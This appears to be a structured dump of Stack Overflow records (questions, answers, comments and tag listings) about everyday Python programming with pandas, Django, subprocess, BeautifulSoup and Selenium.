has text: @pault This's a kind of example. I've been faced a lot with this kind of situation that I wanted to invert string into variable to make my development fast . So I had asked borrowing this simple example.
comment on: http://stackoverflow.com/a/48666081
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/48769224
has body: I want to translate a dataframe to frozensets and keep the dataframe columns within the frozenset. Example x=pd.DataFrame(data=dict(sample=["A","B","C"],lane=[1,1,2])) &gt;&gt;&gt; x lane sample 0 1 A 1 1 B 2 2 C And I would like something as : x2= {frozenset({("sample", "A"), ("lane", 1)}), frozenset({("sample", "B"), ("lane", 1)}), frozenset({("sample", "C"), ("lane", 2)})} &gt;&gt;&gt; x2 {frozenset({('sample', 'B'), ('lane', 1)}), frozenset({('sample', 'A'), ('lane', 1)}), frozenset({('lane', 2), ('sample', 'C')})} I tried x.apply(frozenset,1) but it gives me that : 0 (1, A) 1 (1, B) 2 (C, 2) dtype: object Any help will be useful. Thank you
tagged with: pandas
tagged with: frozenset
answer count: 1
has answer: http://stackoverflow.com/a/48769343
favorite count: 0
tagged with: python
has title: dataframe to frozenset
type: AnsweredQuestion
score: 2
downvote count: 0
tagged with: dataframe
type: Question
accepted answer: http://stackoverflow.com/a/48769343
upvote count: 2

http://stackoverflow.com/comment/84585936
score: 0
has text: I've changed the language a bit. Please check to make sure I haven't changed your intent.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48791712

http://stackoverflow.com/comment/84389989
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48695500
has text: Under what conditions do you want the result of `__eq__` to change?
score: 0

http://stackoverflow.com/comment/84334377
type: Comment
comment on: http://stackoverflow.com/a/48667848
score: 0
type: AnswerComment
has text: @GRS glad I can help , happy coding

http://stackoverflow.com/comment/84341109
comment on: http://stackoverflow.com/q/48669409
type: Comment
type: QuestionComment
has text: Wow, I never imagined that assignment in Python was so complicated. Thanks for the link @Norrius, that was quite informative.
score: 1

http://stackoverflow.com/q/48655612
answer count: 4
has answer: http://stackoverflow.com/a/48655957
has comment: http://stackoverflow.com/comment/84309570
downvote count: 0
type: UnansweredQuestion
has body: I have a script below that gives the closest 2 values to a given sum. It also iterates through a list of given sums and after each iteration removes the numbers that have already been used. I need to modify this script so that it produces a necessary amount of values closest to each sum, rather than 2. The script needs to accept float values and cannot re-use values. Effectively it needs to pick the most efficient set closest to target, update the set to remove values used, then move on to next target etc.. With pairs it it doesn't work very well for specific use cases/sets that require 3 numbers or 4 etc. to actually get closest to the sum. I need this script to also be able to accept float values, which this script currently does. Any suggestions would be much appreciated. Also if someone knows a better script for this, please let me know. import sys def find_closese_sum(numbers, target): start = 0 end = len(numbers) - 1 result = sys.maxint result_tuple = None while start &lt; end: if numbers[start] + numbers[end] == target: print 0, (numbers[start], numbers[end]) return elif numbers[start] + numbers[end] &gt; target: if abs(numbers[start] + numbers[end] - target) &lt; result: result = abs(numbers[start] + numbers[end] - target) result_tuple = (numbers[start], numbers[end]) end -= 1 else: if abs(numbers[start] + numbers[end] - target) &lt; result: result = abs(numbers[start] + numbers[end] - target) result_tuple = (numbers[start], numbers[end]) start += 1 for i in result_tuple: numbers.remove(i) return result_tuple if __name__ == "__main__": target = [14,27,39] numbers = [1,5,5,10,7,8,11,13,66,34] print numbers numbers = sorted(numbers) for i in target: result_shown = find_closese_sum(numbers, i) print result_shown
tagged with: python-2.7
score: 1
has title: Find all numbers that sum closest to a given number python
has comment: http://stackoverflow.com/comment/84316010
has answer: http://stackoverflow.com/a/48656001
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/84316304
upvote count: 1
tagged with: python
has answer: http://stackoverflow.com/a/48659239
linked to: http://stackoverflow.com/q/6012963
tagged with: subset-sum
has answer: http://stackoverflow.com/a/48655773
has comment: http://stackoverflow.com/comment/84315733

http://stackoverflow.com/a/48728397
has comment: http://stackoverflow.com/comment/84455969
type: AcceptedAnswer
type: Answer
score: 2
downvote count: 0
has body: If you have your application accounts, provide __init__.py (at least empty one) is in the directory accounts, then import it as usual and add to paths. accounts has to be listed in your INSTALLED_APPS in settings.py. Your layout will be | +--accounts | | | +__init__.py | | | +urls.py | +--your_project | | | +urls.py -- this is where you `import accounts` | | | +wsgi.py +--manage.py So your resulting code in urls.py will be from django.contrib import admin from django.urls import path import accounts urlpatterns = [ path('admin/', admin.site.urls), path('account/',accounts.urls), ]
has comment: http://stackoverflow.com/comment/84455841
accepted answer of: http://stackoverflow.com/q/48728369
has comment: http://stackoverflow.com/comment/84455860
answers question: http://stackoverflow.com/q/48728369
upvote count: 2

http://stackoverflow.com/comment/84436727
type: Comment
comment on: http://stackoverflow.com/q/48718779
has text: More efficient compared to what? And shouldn't you mention the format of your files and how you want to store the retrieved information? Please read [How to create a Minimal, Complete, and Verifiable example](https://stackoverflow.com/help/mcve) and [How do I ask a good question?](https://stackoverflow.com/help/how-to-ask)
score: 0
type: QuestionComment

http://stackoverflow.com/comment/84552249
type: Comment
has text: I wanted to recognize covers of a books then use that recognition area for extracting book covers and save it. Right now I am just training the haar classifier using images of book covers as positive images and non-book cover images as negatives.
comment on: http://stackoverflow.com/a/48678366
type: AnswerComment
score: 0

http://stackoverflow.com/comment/84425358
type: AnswerComment
score: 0
has text: @everestial007 Please see my recent edit. I modified the solution so that `header` elements similar to `ms01e` will be contained by the `filter` function.
type: Comment
comment on: http://stackoverflow.com/a/48712453

http://stackoverflow.com/comment/84749432
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48747107
has text: oh yeah thx :D please check my new Q out!
type: AnswerComment

http://stackoverflow.com/comment/84498905
comment on: http://stackoverflow.com/q/48748014
score: 0
type: QuestionComment
type: Comment
has text: @MartijnPieters - Just checked my `soup` output from cron server and soup output when I run the code from my machine. Both are different and doesn't show all the urls that I am fetching when I run it locally. I think this is because my cron server is in different IP. Any alternative to this problem?

http://stackoverflow.com/a/67869759
upvote count: 6
score: 6
type: Answer
has body: The following solution seems the simplest. Group by country and month: grouped_df = df.groupby(['country', 'month']) Apply sum to columns of interest (revenue, profit, ebit): final = grouped_df'revenue', 'profit', 'ebit'.agg('sum') Assign the size of the grouped_df to a new column in 'final': final['count'] = grouped_df.size() print(final) Out[256]: revenue profit ebit count country month Canada 201411 15 10 5 1 UK 201410 20 10 5 1 USA 201409 19 12 5 2 All done!
downvote count: 0
answers question: http://stackoverflow.com/q/48768650

http://stackoverflow.com/a/48800886
downvote count: 0
has comment: http://stackoverflow.com/comment/116153050
accepted answer of: http://stackoverflow.com/q/48800380
has comment: http://stackoverflow.com/comment/84605033
type: Answer
upvote count: 9
has body: I think simpliest is use insert only: df = pd.DataFrame({'A': list('AAA'), 'B': range(3)}, index=list('xyz')) print (df) A B x A 0 y A 1 z A 2 df.insert(0, 'TimeStamp', pd.to_datetime('now').replace(microsecond=0)) print (df) TimeStamp A B x 2018-02-15 07:35:35 A 0 y 2018-02-15 07:35:35 A 1 z 2018-02-15 07:35:35 A 2 Your working version - change range(df.shape[0]) to df.index for same indices in Series and in DataFrame: t = [datetime.datetime.utcnow().replace(microsecond=0) for i in df.index] s = pd.Series(t, name = 'TimeStamp') df.insert(0, 'TimeStamp', s)
has comment: http://stackoverflow.com/comment/84605046
score: 9
answers question: http://stackoverflow.com/q/48800380
type: AcceptedAnswer

http://stackoverflow.com/q/48704526
has answer: http://stackoverflow.com/a/48704557
tagged with: python
has title: Split pandas dataframe into chunks of N
type: AnsweredQuestion
type: Question
tagged with: numpy
has comment: http://stackoverflow.com/comment/84407586
score: 5
upvote count: 6
favorite count: 0
has comment: http://stackoverflow.com/comment/84408135
answer count: 3
tagged with: pandas
possible better answer: http://stackoverflow.com/a/48705226
has body: I'm currently trying to split a pandas dataframe into an unknown number of chunks containing each N rows. I have tried using numpy.array_split() this funktion however splits the dataframe into N chunks containing an unknown number of rows. Is there a clever way to split a python dataframe into multiple dataframes, each containing a specific number of rows from the parent dataframe
accepted answer: http://stackoverflow.com/a/48704557
downvote count: 1
has answer: http://stackoverflow.com/a/48705226
has comment: http://stackoverflow.com/comment/84407553
has answer: http://stackoverflow.com/a/48704790

http://stackoverflow.com/a/48798034
downvote count: 0
has body: It's a namespace issue. Apparently, BeautifulSoup does not consider custom namespaces valid when parsed with "html5lib". You can work around this with a regular expression, which – strangely – does work correctly! print (soup.find_all(re.compile('o:p'))) >>> [<o:p>This should go</o:p>] but the "proper" solution is to change the parser to "lxml-xml" and introducing o: as a valid namespace. from bs4 import BeautifulSoup textToParse = """ Something to parse <o:p>This should go</o:p>Paragraph """ soup = BeautifulSoup(textToParse, "lxml-xml") body = soup.find('body') print ('this should find nothing') for otag in body.find_all('o'): print(otag) print ('this should find o:p') for otag in body.find_all('o:p'): print(otag) >>> this should find nothing this should find o:p <o:p>This should go</o:p>
type: Answer
upvote count: 3
score: 3
accepted answer of: http://stackoverflow.com/q/48795945
answers question: http://stackoverflow.com/q/48795945
type: AcceptedAnswer

http://stackoverflow.com/comment/84662586
type: AnswerComment
has text: Since you are using JSON credentials, I understand that you require a JSON web token (JWT). In this [link](https://cloud.google.com/iap/docs/signed-headers-howto#securing_iap_headers) you can find all the steps for securing your app. Be aware this is valid for apps in a flexible environment. For a standard environment, you will have to use the approach indicated [here] (https://cloud.google.com/iap/docs/identity-howto#get_identity_gae), which involves using the [Users API](https://cloud.google.com/appengine/docs/standard/#users).
type: Comment
comment on: http://stackoverflow.com/a/48826030
score: 0

http://stackoverflow.com/a/48658027
answers question: http://stackoverflow.com/q/48657821
type: Answer
has body: You can use np.stack. &gt;&gt;&gt; a = [np.array([1, 2]), np.array([3, 4])] &gt;&gt;&gt; np.stack(a) array([[1, 2], [3, 4]])
score: 0

http://stackoverflow.com/comment/84378037
type: QuestionComment
comment on: http://stackoverflow.com/q/48677390
score: 0
has text: @jezrael Thanks, yeah I just noticed too that with the original dataframe all 12 values show up in get_dummies. Thanks for all the help.
type: Comment

http://stackoverflow.com/q/48783271
possible better answer: http://stackoverflow.com/a/48783423
has body: In Python, I can do: assert result==100, "result should be 100" but this is redundant since I have to type the condition twice. Is there a way to tell Python to automatically show the condition when the assertion fails?
tagged with: assert
answer count: 3
downvote count: 0
favorite count: 0
has title: In python assert, how to print the condition when the assertion failed?
tagged with: python-3.x
score: 13
tagged with: python
has answer: http://stackoverflow.com/a/75701137
upvote count: 13
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48783626
linked to: http://stackoverflow.com/q/11587223
accepted answer: http://stackoverflow.com/a/48783626
has answer: http://stackoverflow.com/a/48783423
type: Question

http://stackoverflow.com/comment/84507084
has text: You don't tell in your question what goes wrong.
comment on: http://stackoverflow.com/q/48745947
score: 0
type: Comment
type: QuestionComment

segmentation-fault
tags question: http://stackoverflow.com/q/48661163
tags question: http://stackoverflow.com/q/48769793
tag name: segmentation-fault
tags question: http://stackoverflow.com/q/48653620
tags question: http://stackoverflow.com/q/48653470
tags question: http://stackoverflow.com/q/48654508
type: Tag

http://stackoverflow.com/comment/84608243
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48802679
has text: @asongtoruin Nicely caught! Updated.
type: AnswerComment

http://stackoverflow.com/comment/84581998
score: 0
type: Comment
comment on: http://stackoverflow.com/q/48789694
type: QuestionComment
has text: you're getting this error when you do `import statsmodels` ?

http://stackoverflow.com/comment/84535374
type: AnswerComment
comment on: http://stackoverflow.com/a/48767381
type: Comment
has text: Here are the results: 12minutes 26minutes
score: 0

http://stackoverflow.com/comment/84567337
comment on: http://stackoverflow.com/a/48782286
type: Comment
has text: @cᴏʟᴅsᴘᴇᴇᴅ nvm, I went ahead and put it together.
score: 0
type: AnswerComment

http://stackoverflow.com/a/52039533
upvote count: 1
score: 1
type: AcceptedAnswer
downvote count: 0
type: Answer
has body: I had the same issue. My code looked like: A = Parallel(n_jobs=1)(delayed(self.function_1)( df_1, item ) for item in list_of_items) B = Parallel(n_jobs=1)(delayed(self.function_2)( df_2, item ) for item in list_of_items) where "list_of_items" variable had 2 items. But the output was... [Parallel(n_jobs=1)]: Done 2 out of 2 | elapsed: 32.2s finished [Parallel(n_jobs=1)]: Done 0 out of 0 | elapsed: 0.0s finished The reason why the second Parallel process didn't run (at least in my case) was because my "list_of_items" was a generator instead of a list! I hope this solves your problem too.. :)
accepted answer of: http://stackoverflow.com/q/48660734
answers question: http://stackoverflow.com/q/48660734

http://stackoverflow.com/a/48658505
score: 3
upvote count: 3
answers question: http://stackoverflow.com/q/48647967
type: Answer
downvote count: 0
has body: FIXED with the following update.

http://stackoverflow.com/a/51753469
score: -2
upvote count: 0
has comment: http://stackoverflow.com/comment/98054522
answers question: http://stackoverflow.com/q/48660656
type: Answer
has body: from multiprocessing import Pool def f(x): return x*x if __name__ == '__main__': p = Pool(5) results = p.imap(f,range(300)) for item in results: print(item) p.close() this will print items returned in order. if you print(p.imap(f,range(300)) it returns memory location of data. If you say p = Pool() it will start max number of processes your CPU can handle.
downvote count: 2

http://stackoverflow.com/a/48731833
accepted answer of: http://stackoverflow.com/q/48731813
answers question: http://stackoverflow.com/q/48731813
upvote count: 5
type: Answer
has body: If you want those stopwords included in your final set, just remove them from the default stopwords list: new_stopwords = set(stopwords.words('english')) - {'this', 'these'} Or, to_remove = ['this', 'these'] new_stopwords = set(stopwords.words('english')).difference(to_remove) set.difference accepts any iterable.
downvote count: 0
score: 5
type: AcceptedAnswer

http://stackoverflow.com/comment/84512032
type: QuestionComment
has text: My bad. I had the dates as variables and when I posted it I changed it to make it simple. I edited my post to reflect this. The start date is supposed to be 2016.
comment on: http://stackoverflow.com/q/48755112
score: 0
type: Comment

http://stackoverflow.com/a/48667924
has comment: http://stackoverflow.com/comment/138888404
answers question: http://stackoverflow.com/q/48665001
downvote count: 0
score: 154
has comment: http://stackoverflow.com/comment/136488582
upvote count: 154
has body: You can try the below 2 methods to click on element. element = driver.find_element_by_css('div[class*="loadingWhiteBox"]') driver.execute_script("arguments[0].click();", element) element = driver.find_element_by_css('div[class*="loadingWhiteBox"]') webdriver.ActionChains(driver).move_to_element(element ).click(element ).perform() hope this will work.
type: Answer
has comment: http://stackoverflow.com/comment/101895990
has comment: http://stackoverflow.com/comment/102239112
has comment: http://stackoverflow.com/comment/110886051
has comment: http://stackoverflow.com/comment/104675387

http://stackoverflow.com/q/48713473
has answer: http://stackoverflow.com/a/48713695
tagged with: dictionary
type: AnsweredQuestion
tagged with: list
score: 1
accepted answer: http://stackoverflow.com/a/48713539
has answer: http://stackoverflow.com/a/48713504
downvote count: 1
type: Question
has answer: http://stackoverflow.com/a/48713624
has body: I have a python script which stores a dictionary inside a list variable 'data' : [ { 'hp':'cdldfdbc07s001:10000', 'n':'cdldfdbc07s001', 'rsid':'cdl-dit1', 'v':'3.0.12' }, { 'hp':'cdldfdbc07s002:10000', 'n':'cdldfdbc07s002', 'rsid':'cdl-dit1', 'v':'3.0.12' }, { 'hp':'cdldfdbc07s001:11000', 'n':'cdldfdbc07s001', 'rsid':'cdl-fit1', 'v':'3.0.12' }, { 'hp':'cdldfdbc07s002:11000', 'n':'cdldfdbc07s002', 'rsid':'cdl-fit1', 'v':'3.0.12' }, { 'hp':'cdldvjassvp073:10000', 'n':'cdldvjassva073', 'rsid':'mobile', 'v':'2.6.3' }, { 'hp':'cdldvjassva072:10000', 'n':'cdldvjassva072', 'rsid':'mobile', 'v':'2.6.3' }, { 'hp':'cdldvjassva074:11002', 'n':'cdldvjassva074', 'rsid':'cache2', 'v':'2.6.3' }, { 'hp':'cdldfdbc05s002:11000', 'n':'cdldfdbc05s002', 'rsid':'dit2', 'v':'3.0.9' } ] I want to 1.iterate through all the elements of the list and remove the element which contains "jass" in 'hp'. my code for this doesn't seem to be deleting the element , my len(data) returns me the same number as before. s=0 while s&lt; len(data): for i in ((data[s]['hp'])): if "jass" in i: data.remove(s) s += 1 print len(data) expected result list : [ { 'hp':'cdldfdbc07s001:10000', 'n':'cdldfdbc07s001', 'rsid':'cdl-dit1', 'v':'3.0.12' }, { 'hp':'cdldfdbc07s002:10000', 'n':'cdldfdbc07s002', 'rsid':'cdl-dit1', 'v':'3.0.12' }, { 'hp':'cdldfdbc07s001:11000', 'n':'cdldfdbc07s001', 'rsid':'cdl-fit1', 'v':'3.0.12' }, { 'hp':'cdldfdbc07s002:11000', 'n':'cdldfdbc07s002', 'rsid':'cdl-fit1', 'v':'3.0.12' }, { 'hp':'cdldfdbc05s002:11000', 'n':'cdldfdbc05s002', 'rsid':'dit2', 'v':'3.0.9' } ]
has answer: http://stackoverflow.com/a/48713578
has comment: http://stackoverflow.com/comment/84425990
has title: removing elements from a list which contains dictionary in python
possible better answer: http://stackoverflow.com/a/48713578
has answer: http://stackoverflow.com/a/48713539
favorite count: 0
upvote count: 2
answer count: 5
tagged with: python

http://stackoverflow.com/comment/84466678
comment on: http://stackoverflow.com/a/48733632
type: AnswerComment
score: 0
type: Comment
has text: it works for me. i've updated my answer with inputs as you provided.

http://stackoverflow.com/comment/84491606
type: Comment
comment on: http://stackoverflow.com/a/48745829
score: 0
type: AnswerComment
has text: @vaultah Oh! My bad, I didn't realise the OP meant least as *in order* or smallest not literally those with *the smallest*.

http://stackoverflow.com/a/48763628
has comment: http://stackoverflow.com/comment/84528073
has comment: http://stackoverflow.com/comment/84534774
has comment: http://stackoverflow.com/comment/84528938
has comment: http://stackoverflow.com/comment/85997827
has comment: http://stackoverflow.com/comment/84536394
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48763362
answers question: http://stackoverflow.com/q/48763362
has comment: http://stackoverflow.com/comment/115679459
has comment: http://stackoverflow.com/comment/84529723
type: Answer
has comment: http://stackoverflow.com/comment/84528765
score: 9
has body: The documentation explicitly states that the process should be killed: from the docs for subprocess.run: "The timeout argument is passed to Popen.communicate(). If the timeout expires, the child process will be killed and waited for. The TimeoutExpired exception will be re-raised after the child process has terminated." But in your case you're using shell=True, and I've seen issues like that before, because the blocking process is a child of the shell process. I don't think you need shell=True if you decompose your arguments properly and your scripts have the proper shebang. You could try this: result=run( [os.path.join('utilities/shell_scripts',self.language_conf[key][1]), self.proc_dir, config.main_file], # don't compose argument line yourself shell=False, # no shell wrapper check=True, stdout=PIPE, stderr=PIPE, universal_newlines=True, timeout=30, bufsize=100) note that I can reproduce this issue very easily on Windows (using Popen, but it's the same thing): import subprocess,time p=subprocess.Popen("notepad",shell=True) time.sleep(1) p.kill() => notepad stays open, probably because it manages to detach from the parent shell process. import subprocess,time p=subprocess.Popen("notepad",shell=False) time.sleep(1) p.kill() => notepad closes after 1 second Funnily enough, if you remove time.sleep(), kill() works even with shell=True probably because it successfully kills the shell which is launching notepad. I'm not saying you have exactly the same issue, I'm just demonstrating that shell=True is evil for many reasons, and not being able to kill/timeout the process is one more reason. However, if you need shell=True for a reason, you can use psutil to kill all the children in the end. In that case, it's better to use Popen so you get the process id directly: import subprocess,time,psutil parent=subprocess.Popen("notepad",shell=True) for _ in range(30): # 30 seconds if parent.poll() is not None: # process just ended break time.sleep(1) else: # the for loop ended witho…
upvote count: 9
has comment: http://stackoverflow.com/comment/115679019
has comment: http://stackoverflow.com/comment/84535727
has comment: http://stackoverflow.com/comment/84531622

http://stackoverflow.com/a/48675389
answers question: http://stackoverflow.com/q/48671669
has body: It looks like the expected result in the question does not fit the definition: The rows are grouped by 'KEY' and within this grouping I need to flag rows that have 'Date1' which overlaps with the 'Date2' of the previous row. KEY Date1 Date2 OverlappingFlag 0 100000003 2012-05-06 2012-05-28 N 1 100000009 2012-05-06 2012-06-10 Y # probably not 2 100000009 2012-05-07 2012-06-15 Y 3 100000009 2012-06-08 2012-06-29 Y 4 100000009 2012-06-20 2012-06-21 Y 5 100000034 2012-02-06 2012-03-05 Y # probably not 6 100000034 2012-03-04 2012-05-06 Y 7 100000034 2012-04-05 2012-05-06 Y An extension of @Evan's code for this case: import pandas as pd import numpy as np df = pd.DataFrame({'KEY': ['100000003', '100000009', '100000009', '100000009', '100000009','100000034','100000034', '100000034'], 'Date1': [20120506, 20120506, 20120507,20120608,20120620,20120206,20120304,20120405], 'Date2': [20120528, 20120610, 20120615,20120629,20120621,20120305,20120506,20120506]}) df['Date1'] = pd.to_datetime(df["Date1"], format='%Y%m%d') df['Date2'] = pd.to_datetime(df["Date2"], format='%Y%m%d') df.sort_values(by=['KEY','Date1','Date2'], inplace=True) # if KEY is already an index, df = df.reset_index() # df.set_index('KEY', inplace = True) # this is really the only part changed df['overlap'] = ((df.KEY == df.KEY.shift()) &amp; \ (df.Date1 &lt; df.Date2.shift())) | \ ((df.KEY == df.KEY.shift(-1)) &amp; \ (df.Date2 &lt; df.Date1.shift(-1))) df.set_index('KEY', inplace = True)
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/84376878
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/48671669

http://stackoverflow.com/comment/84467194
type: QuestionComment
has text: Welcome to SO. Please provide a [mcve]. In particular, your existing code will help us respond appropriately.
score: 3
comment on: http://stackoverflow.com/q/48734030
type: Comment

http://stackoverflow.com/comment/84527088
comment on: http://stackoverflow.com/q/48763125
has text: @juanpa.arrivillaga thanks a lot! and thanks for the duplicate. great answer there!
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84434724
has text: This is somewhat beside the point, but isn't a "single-player MMORPG" a contradiction in terms (MMORPG = Massively *multiplayer* online...)?
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48717604

http://stackoverflow.com/comment/84522250
has text: @AnisJonischkeit, Always remember to add explaination to the answer you post, so the users can understand the use of it.
comment on: http://stackoverflow.com/a/48759309
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/a/48699928
downvote count: 0
has comment: http://stackoverflow.com/comment/84398480
score: 8
has comment: http://stackoverflow.com/comment/84398349
upvote count: 8
answers question: http://stackoverflow.com/q/48699907
has comment: http://stackoverflow.com/comment/84644415
type: Answer
has comment: http://stackoverflow.com/comment/84398596
has comment: http://stackoverflow.com/comment/84398509
has body: You need escape ) by \ because special regex character: df.B.str.contains("six\)").any() More general: import re df.B.str.contains(re.escape("six)")).any()
has comment: http://stackoverflow.com/comment/84398537

http://stackoverflow.com/comment/84401305
score: 0
type: AnswerComment
has text: @Chan just tested on your link and it works I added an extra `sleep(5)` if the video still plays increase to more seconds, if it stops to late decrease it. `webdriver` will wait for the page to load by default with the `get()` method but I don't know what woo Facebook is doing to the page so that's why you need to add the `sleep`.
type: Comment
comment on: http://stackoverflow.com/a/48686092

recursion
type: Tag
tags question: http://stackoverflow.com/q/48708038
tags question: http://stackoverflow.com/q/48688763
tags question: http://stackoverflow.com/q/48798323
tags question: http://stackoverflow.com/q/48656094
tags question: http://stackoverflow.com/q/48678655
tags question: http://stackoverflow.com/q/48695762
tags question: http://stackoverflow.com/q/48750954
tag name: recursion
tags question: http://stackoverflow.com/q/48687138
tags question: http://stackoverflow.com/q/48739784
tags question: http://stackoverflow.com/q/48746076
tags question: http://stackoverflow.com/q/48753409
tags question: http://stackoverflow.com/q/48652174
tags question: http://stackoverflow.com/q/48762837
tags question: http://stackoverflow.com/q/48773018
tags question: http://stackoverflow.com/q/48655687
tags question: http://stackoverflow.com/q/48729220
tags question: http://stackoverflow.com/q/48689015
tags question: http://stackoverflow.com/q/48777430
tags question: http://stackoverflow.com/q/48703689
tags question: http://stackoverflow.com/q/48792845
tags question: http://stackoverflow.com/q/48764502
tags question: http://stackoverflow.com/q/48725268
tags question: http://stackoverflow.com/q/48788077
tags question: http://stackoverflow.com/q/48660441
tags question: http://stackoverflow.com/q/48747966
tags question: http://stackoverflow.com/q/48728868
tags question: http://stackoverflow.com/q/48702168
tags question: http://stackoverflow.com/q/48723195

http://stackoverflow.com/q/48670101
has comment: http://stackoverflow.com/comment/84338049
accepted answer: http://stackoverflow.com/a/48670582
has title: Django - list items based on a foreign key
has body: I am a new to python, Django (and programming in general). I have spend over 10 hours on this problem, but I seem to be missing something. I have two models in Django - articles and categories, and I am using ListView and DetailsView in my views.py file. On the articles_details page, I am trying to list all the articles that are in the same category as the current article. I have tried a million things, but to no avail. I am thinking that I could define a function using __exact to filter the categories database, based on the current value of articles.category (the category of the current article). I am not sure how to do so, though, and how to call such a function in my template. Could someone please assist? Thank you, in advance. P.S.: Not sure if part of the problem is using ListView and DetailsView. Here is my code: Views.py from django.shortcuts import render from web import models from web.models import Main, Series_rh, Articles_rh from django.views.generic import View,TemplateView,ListView,DetailView class IndexView(TemplateView): template_name = 'web/index.html' class CategoriesView(ListView): model = models.Series_rh template_name = 'web/series.html' context_object_name = 'Categories_rh_list' class CategoriesView(DetailView): model = models.Series_rh template_name = 'web/series.html' context_object_name = 'Categories_rh_details' class ArticlesListView(ListView): model = models.Articles_rh template_name = 'web/articles-list.html' context_object_name = 'Artciles_rh_list' class ArticlesDetailView(DetailView): model = models.Articles_rh template_name = 'web/articles-details.html' context_object_name = 'Articles_rh_details' Models.py from django.db import models class Categories_rh(models.Model): name = models.CharField(max_length=55) title = models.CharField(max_length=250) description = models.TextField() image = models.ImageField(upload_to='static/media/') def __str__(self): return self.name class Articles_rh(models.Model): para_one = models.TextField() para_t…
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84338359
type: Question
tagged with: python
has answer: http://stackoverflow.com/a/48670582
score: 0
tagged with: django
answer count: 1

probability
tags question: http://stackoverflow.com/q/48660868
type: Tag
tag name: probability
tags question: http://stackoverflow.com/q/48689067
tags question: http://stackoverflow.com/q/48698716
tags question: http://stackoverflow.com/q/48769342
tags question: http://stackoverflow.com/q/48656958
tags question: http://stackoverflow.com/q/48675954

http://stackoverflow.com/a/49006567
accepted answer of: http://stackoverflow.com/q/48702061
type: Answer
has body: Finally, I found a solution. I used Reverse Proxy with mod_proxy, Apache. The detailed steps are explained here: https://www.digitalocean.com/community/tutorials/how-to-use-apache-as-a-reverse-proxy-with-mod_proxy-on-ubuntu-16-04
answers question: http://stackoverflow.com/q/48702061
score: 0
type: AcceptedAnswer

http://stackoverflow.com/q/48675678
has comment: http://stackoverflow.com/comment/84349846
upvote count: 6
has comment: http://stackoverflow.com/comment/84350051
accepted answer: http://stackoverflow.com/a/48675731
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84349895
possible better answer: http://stackoverflow.com/a/48675759
has answer: http://stackoverflow.com/a/61968550
score: 6
has answer: http://stackoverflow.com/a/69595137
has answer: http://stackoverflow.com/a/48675759
has answer: http://stackoverflow.com/a/48716088
has answer: http://stackoverflow.com/a/48675782
has comment: http://stackoverflow.com/comment/84349937
type: Question
has title: Finding the odd number out in an array
has answer: http://stackoverflow.com/a/64800040
has answer: http://stackoverflow.com/a/48675962
tagged with: algorithm
has comment: http://stackoverflow.com/comment/84349837
linked to: http://stackoverflow.com/q/2600191
answer count: 11
has comment: http://stackoverflow.com/comment/84350014
has answer: http://stackoverflow.com/a/48675731
has body: I am trying to solve a problem where I'm given an array, such as [0, 0, 1, 1, 2, 2, 6, 6, 9, 10, 10] where all numbers are duplicated twice, excluding one number, and I need to return the number that is not duplicated. I am trying to do it like this: def findNumber(self, nums): if (len(nums) == 1): return nums[0] nums_copy = nums[:] for i in nums: nums_copy.remove(i) if i not in nums: return i else: nums_copy.remove(i) However when it reaches the else statement, there is the following error: ValueError: list.remove(x): x not in list This is occurring when i is in nums_copy, so I do not understand why this error occurs in this situation?
has answer: http://stackoverflow.com/a/48677253
has comment: http://stackoverflow.com/comment/84349875
downvote count: 0
has answer: http://stackoverflow.com/a/48677374
favorite count: 0
tagged with: python-3.x
has answer: http://stackoverflow.com/a/48675791
tagged with: python

http://stackoverflow.com/a/48788955
answers question: http://stackoverflow.com/q/48783263
type: Answer
accepted answer of: http://stackoverflow.com/q/48783263
downvote count: 1
upvote count: 0
has body: The code is working now. This issue happened because of the network it self, as after changing the network it worked fine, so maybe it happened because of some firewall configurations of the old network. Also as Thierry Lathuille suggest, without changing the network we can use the Requests library and it worked perfectly. Thanks.
type: AcceptedAnswer
score: -1

http://stackoverflow.com/comment/84655066
type: AnswerComment
type: Comment
has text: Do you have an updated version of the code? -- This line will have the error of having both `batch_input_shape` and `input_shape`. In this case, you should use only `batch_input_shape=(1,None,1)` -- considering you have only a single sequence.
comment on: http://stackoverflow.com/a/48807811
score: 0

http://stackoverflow.com/comment/84426315
type: AnswerComment
comment on: http://stackoverflow.com/a/48712925
type: Comment
has text: I tried adding `bufsize=0` to my subprocess call and it didn't seem to change anything. I accidentally said that I was using `subprocess.call` when I'm actually using `subprocess.Popen` sorry for the mix up.
score: 0

plot
tags question: http://stackoverflow.com/q/48739374
tags question: http://stackoverflow.com/q/48695783
tags question: http://stackoverflow.com/q/48724447
tags question: http://stackoverflow.com/q/48661137
tags question: http://stackoverflow.com/q/48688572
tags question: http://stackoverflow.com/q/48753710
tag name: plot
tags question: http://stackoverflow.com/q/48682407
tags question: http://stackoverflow.com/q/48660142
tags question: http://stackoverflow.com/q/48785091
tags question: http://stackoverflow.com/q/48675508
tags question: http://stackoverflow.com/q/48684900
tags question: http://stackoverflow.com/q/48675320
tags question: http://stackoverflow.com/q/48734269
tags question: http://stackoverflow.com/q/48694620
tags question: http://stackoverflow.com/q/48745626
type: Tag
tags question: http://stackoverflow.com/q/48742387
tags question: http://stackoverflow.com/q/48741315
tags question: http://stackoverflow.com/q/48717475
tags question: http://stackoverflow.com/q/48742037
tags question: http://stackoverflow.com/q/48662448
tags question: http://stackoverflow.com/q/48748927
tags question: http://stackoverflow.com/q/48753228
tags question: http://stackoverflow.com/q/48703275
tags question: http://stackoverflow.com/q/48670067
tags question: http://stackoverflow.com/q/48668993
tags question: http://stackoverflow.com/q/48701371
tags question: http://stackoverflow.com/q/48686700
tags question: http://stackoverflow.com/q/48745529
tags question: http://stackoverflow.com/q/48692394
